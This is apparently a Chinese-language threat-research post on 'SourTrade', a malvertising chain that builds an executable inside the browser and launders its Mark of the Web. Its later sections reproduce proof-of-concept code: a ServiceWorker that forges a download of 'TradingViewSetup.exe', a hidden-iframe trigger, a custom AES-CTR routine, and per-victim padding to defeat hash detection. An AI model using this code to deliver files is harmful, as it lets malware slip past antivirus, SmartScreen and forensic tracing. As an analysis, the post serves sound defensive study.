在浏览器里就完成组装的恶意代码

Posted by Closure on July 27, 2026

这条链也没用上什么漏洞和比较高深的技术,只是把投递这个动作从运输成品改成了运输图纸,恶意软件投递的是网络上存在一个完整的坏文件,所有检测手段像哈希黑名单/流量特征/沙箱下载分析都建立在能拿到这个文件的前提上。

SourTrade落地页只下发一份config组装说明书,包含随机AES-CTR种子、尺寸、字节配方,浏览器拿着说明书去第二域名拉一份干净的Bun官方运行时,再由页面内嵌字符串现造的 SharedWorker 在内存里完成解密和拼接,最后ServiceWorker伪造一个同源下载响应,让浏览器把exe写进下载目录。

整条链过网的只有两样东西,一份长得像普通配置的JSON,和一个完全合法的解释器,恶意性只存在于组装顺序里,这就是为什么杀软ban不掉它:哈希检测死于逐人多态,流量检测死于没有恶意流量,静态扫描死于语言壁垒(因为恶意逻辑是.bun节里的JSC字节码,特征库读不懂这种格式),溯源死于MotW 漂白。

它也是秽土转生的,之前做过假的Premium集群,投递JSCEAL/WeevilProxy,直接依赖GitHub Pages托管的StreamSaver.js实现落盘,MotW里会留下第三方库的痕迹;本文的新变种把它改写为自托管同源ServiceWorker。

refer

https://blog.confiant.com/p/sourtrade-browser-assembled-malware

https://www.bitdefender.com/en-us/blog/labs

https://bun.sh/docs/bundler/executables

https://github.com/jimmywarting/StreamSaver.js

攻击链

引如流

受害者在正常网站上看到一条展示广告:”安装Luno领50XRP”,点击后到达落地页,但到达之前落地页上的cloaking kit先对访客做指纹审查,会看看你的IP地理位置与ISP类型、headless、webdriver、来源链路、行为特征;过审查的看到高仿下载页,沙箱爬虫看到空白页或一个虚构的官网。

ServiceWorker

ServiceWorker是浏览器提供的一种常驻后台脚本,它不依附于任何一个页面,页面关了它还能活着/能后台运行/能被浏览器随时唤醒,它设计的初衷是做PWA的离线缓存,网页第一次访问时把资源存下来,下次没网也能打开,也能做消息推送和后台同步。

但是它可以拦截这个网站发出的所有网络请求,并且可以自己伪造响应。正常情况下页面请求一个URL,是浏览器去网络上拿数据;有了ServiceWorker,请求先经过它,可以把请求放行、改道,甚至根本不碰网络,直接在内存里造一份假响应还给浏览器,而浏览器完全无法区分这份响应是来自网络还是来自ServiceWorker之手。

SourTrade就是让ServiceWorker伪装成服务器,把一个内存里拼好的文件当成下载响应交给浏览器。

综上,通过筛选的受害者页面会静默完成两件事:注册一个 ServiceWorker并保持定期心跳防休眠,同时把一段以字符串形式内嵌在页面JS里的代码,用URL.createObjectURL(new Blob([…])) 现场捏成一个 SharedWorker。

上面说了,ServiceWorkers是收发室,能拦截同源网络请求并伪造响应,这是后面假下载的能力来源。解密和拼字节是重活,放独立线程里干页面不卡,装配用的是Blob内联创建,所以网络日志里没有加载它的请求,磁盘上没有它的文件,

config

装配向同源服务器请求/config,拿到的不是一份JSON组装说明书,16字节随机AES-CTR种子/明文尺寸/template 字节配方(恶意代码就在这里)、干净运行时的下载地址。

这样一来密钥不过网,config里只有种子,密钥流由客户端自带实现现算,截获传输内容也无法直接解密,并且每个受害者种子不同/尺寸不同已经做到了每人一个唯一哈希,以及恶意字节以数据形态运输,恶意代码在服务器上是配方库里的base64数据段,混在JSON里下发任何内容扫描都只会看到”一份配置”。

如果想在这里抓它只能靠一个下载页在点击后立刻请求一个config类JSON,靠不了内容

内存里的装配

装配按说明书里的地址,用fetch() 从第二域名拉回一个干净的Bun官方运行时,gzip压缩传输,浏览器端DecompressionStream解开;然后用种子现算AES-CTR密钥流,按template配方在内存里把字节拼成文件头+ .bun节+随机填充。

↑会让零件干净,Bun是合法JS解释器,bun build –compile官方机制就是把JS编译成字节码嵌进解释器生成单文件程序,攻击者只是往.bun节里塞了自己的代码,恶意性是数据而非程序。

MotW漂白

虽然大家都知道,但是还是稍微提一下MotW是什么(

Mark of the Web是Windows给来自互联网的文件打的一个戳,浏览器下载文件时会在文件里写入一条Zone.Identifier的附加ADS,记录这个文件从哪个URL下载的/属于哪个安全区域。

这个戳决定了待遇,ZoneId=3(互联网区域)的文件,双击时SmartScreen会弹声誉检查,Office文档会默认禁宏=系统对这份文件先怀疑,以及事件响应时,HostUrl就是蓝队回答这文件从哪来的第一证据。MotW因此同时是检测面和取证面,对红队来说它是投递链上最难洗掉的一块痕迹,传统手法像域名轮换和URL跳转都只能更换戳上的名字,无法让戳说谎。

浏览器盖这个戳时遵循一条非常机械的规则:只记录下载导航指向的那个URL,完全不追踪字节的真实来源。,关键区分在于浏览器的两类网络活动:fetch()/XHR这类后台数据请求,字节进了页面内存不属于下载,不会被盖章。

而地址栏跳转/链接点击/iframe导航这类导航行为,一旦返回一个attachment响应,浏览器就认定发生了一次下载,戳上刻的是这次导航的URL,MotW记录的是浏览器向哪个地址发起了下载这个动作,但是字节在内存里绕了多少道弯,戳是不知道的。

SourTrade的漂白就是用↑的规则。

  • 第一步,ServiceWorker 注册时就位,变成网站的”自家服务器,它能拦截同源请求并用内存数据伪造响应。
  • 第二步,装配工拼好的exe字节,通过MessageChannel分块流入ServiceWorker,这些字节的来源域名B是 fetch() 拉来的,全程只是数据请求没有留下任何下载标记。
  • 第三步,页面构造一个同源的虚拟URL,让隐藏iframe导航过去。
  • 第四步,ServiceWorker拦截这次导航把流入的字节包成流式attachment响应,浏览器盖章来源=诱饵域名 A。

都写到这里了顺便科普一下原型,是开源库StreamSaver.js,可以让网页能把大文件流式地保存到用户硬盘,不需要先把整个文件塞进内存,也不需要服务器配合。

传统网页下载大文件要么服务器把文件推给你,要么前端用Blob在内存里拼好整个文件再触发下载,但是文件一大浏览器内存就崩。StreamSaver.js的解法就是借力ServiceWorker,它注册一个ServiceWorker让页面把数据一小块一小块地通过消息通道递给ServiceWorker;同时制造一个指向虚拟URL的下载导航,ServiceWorker拦截后把这些陆续到达的小块包装成一条流以附件形式回给浏览器。

效果就是文件一边生成一边落盘,内存占用几乎为零,浏览器看到的和一次普通下载是一样的。

const streams = new Map();

self.addEventListener('message', (e) => {
  if (e.data.action !== 'open') return;
  const port = e.ports[0];
  const entry = { controller: null, done: false };
  streams.set(e.data.url, entry);


  port.onmessage = ({ data }) => {
    if (data.action === 'write') entry.controller.enqueue(data.chunk);
    if (data.action === 'close') { entry.controller.close(); streams.delete(e.data.url); }
  };
});

self.addEventListener('fetch', (e) => {
  const entry = streams.get(e.request.url);
  if (!entry) return;                       // 不是本机制的请求,放行
  // 拦截下载导航,用内存字节伪造"服务器响应"
  e.respondWith(new Response(
    new ReadableStream({ start(c) { entry.controller = c; } }),
    { headers: {
        'Content-Type': 'application/octet-stream',
        'Content-Disposition': 'attachment; filename="TradingViewSetup.exe"'
    } }
  ));
});


const dlUrl = `${location.origin}/sw-save/${randomToken()}`; 

sw.postMessage({ action: 'open', url: dlUrl }, [channel.port2]);  

const f = document.createElement('iframe');
f.style.display = 'none';
f.src = dlUrl;                        
document.body.appendChild(f);

SmartScreen的声誉判断是基于戳上的域名做出的,诱饵域名A是攻击者精心养过的投放域,取证面上事后分析受害机器,HostUrl里只有域名 A,那个真正提供exe主体的域名B在文件的出生证明上彻底消失,想找到 B就必须翻全量网络日志去找那次fetch()。

复现

https://github.com/DemondeLap1ace/AccompanyingPoC/tree/main/SourTrade ↑本地Poc在这里

做poc的txt文档里面是【確か……本棚の裏に猫イラズがあったような。】出自帕秋莉在火炉の鼠的台词(

整个流程分成两个时区,打开页面时只跑预备,点击后启动主流程。

预备动作是注册ServiceWorker并让它立即接管页面,点击后先是本地生成一份模拟的 /config,随机seed、明文尺寸、密文、配方字节、一次性落盘 URL;然后用页面内嵌的字符串现场捏一个Blob SharedWorker。

接下来是页面先把落盘的URL登记给收发室,然后停下来等回执,确认通道建好了就隐藏iframe去导航,最后是装配把拼好的字节分块递给收发室,收发室把它们包成一条流,以附件的身份回给那次导航,浏览器的下载管理器接管,写盘结束。

seed-only

让K3写出来的最初版本的config里直接放了完整的AES和IV,用WebCrypto解密,但是和真实样本不一样,真实样本的config只有16字节seed,密钥不过网,客户端用自带的AES-CTR实现现算密钥流。 改成seed-only后就对齐了chain,服务器和装配共享的只有seed,两端各自现算密钥流,XOR即加解密,每次点击seed重新随机,因为密文每次不同所以传输层天然随机化。

stage2

function stage2_fetchConfig() {
  
  const seed = crypto.getRandomValues(new Uint8Array(16));
  const plaintext = new TextEncoder().encode('');

  const ciphertext = AesCtr.xor(seed, plaintext);

  const cfg = {
    seed: u8toB64(seed),        
    size: plaintext.length,    
    payload: u8toB64(ciphertext),
    template: u8toB64(new Uint8Array([0xEF, 0xBB, 0xBF])), 
                                             
    standaloneUrl: location.origin + '/__dl/' + Math.random().toString(36).slice(2)
  };
  return cfg;  
}



stage3


var plain = AesCtr.xor(b64toU8(d.seed), b64toU8(d.payload));
// 传输的是种子,密钥流两端各自现算,算法即约定

AES-128-CTR

官方报告里面说了客户端内嵌了自己的AES-CTR实现,用WebCrypto等于回避了攻击者为什么不信任系统 API这个值得思考的问题。Blob worker里用importScripts加载同源的aes-ctr.js,页面端用

验证正确性:FIPS-197官方测试向量+与PyCryptodome的AES-CTR做100字节随机对拍+加解密往返验证,三项全过才敢用。

function keyExpand(key) {
          var w = new Uint8Array(176);
          w.set(key);
          var i = 16, r = 0, t = new Uint8Array(4);
          while (i < 176) {
            t[0]=w[i-4]; t[1]=w[i-3]; t[2]=w[i-2]; t[3]=w[i-1];
            if (i % 16 === 0) {              // 每 16 字节: RotWord+SubWord+RCON
              var tmp = t[0];
              t[0] = SBOX[t[1]] ^ RCON[r]; t[1] = SBOX[t[2]]; t[2] = SBOX[t[3]]; t[3] = SBOX[tmp];
              r++;
            }
            for (var j = 0; j < 4; j++) { w[i] = w[i-16] ^ t[j]; i++; }
          }
          return w;
        }
        
        // CTR 模式:seed 作密钥,计数器 128 位大端从 0 自增
        // 加密 = 解密 = keystream XOR data —— 一个函数两头用
        function xor(seed, data) {
          if (seed.length !== 16) throw new Error('seed 必须为 16 字节(AES-128)');
          var w = keyExpand(seed);
          var out = new Uint8Array(data.length);
          var counter = new Uint8Array(16);
          for (var off = 0; off < data.length; off += 16) {
            var ks = encryptBlock(counter, w);         
            var n = Math.min(16, data.length - off);
            for (var i = 0; i < n; i++) out[off+i] = data[off+i] ^ ks[i];
            for (var j = 15; j >= 0; j--) { if (++counter[j] !== 0) break; } 
          }
          return out;
        }

encryptBlock内部是标准AES 轮 全部用Uint8Array位运算完成,无任何外部依赖。

多态的正确位置

这是最终版相对上一版的升级,K3写的第一版的随机性只活在传输层,seed随机,密文随机,但是解密后明文恒定就导致每次落盘的文件字节完全相同。

人工修了一下,装配handle函数的完整流程应该是解密→校验→派生填充→三段拼接→流式回传

最后的结果是连点三次按钮 三份文件总长不同 SHA256全不同,前面的核心内容逐字节相同。

var handle = function(ev) {
          var d = ev.data;   // d = config: { seed, size, payload, template, standaloneUrl }
        
          
          var plain = AesCtr.xor(b64toU8(d.seed), b64toU8(d.payload));
        
          
          var tpl = b64toU8(d.template);
          if (d.size !== undefined && plain.length !== d.size)
            throw new Error(' ' + plain.length);
        
          var seedBytes = b64toU8(d.seed);
          var fillerLen = 16 + (seedBytes[0] % 64);                
          var filler = AesCtr.xor(seedBytes, new Uint8Array(fillerLen)); 
        
          
          var out = new Uint8Array(tpl.length + plain.length + fillerLen);
          out.set(tpl, 0);
          out.set(plain, tpl.length);
          out.set(filler, tpl.length + plain.length);
        
          
          var CHUNK = 4096;
          for (var i = 0; i < out.length; i += CHUNK)
            ev.target.postMessage({ action: 'write', data: out.slice(i, i + CHUNK) });
          ev.target.postMessage({ action: 'done', size: out.length,
                                  core: tpl.length + plain.length, filler: fillerLen });
        };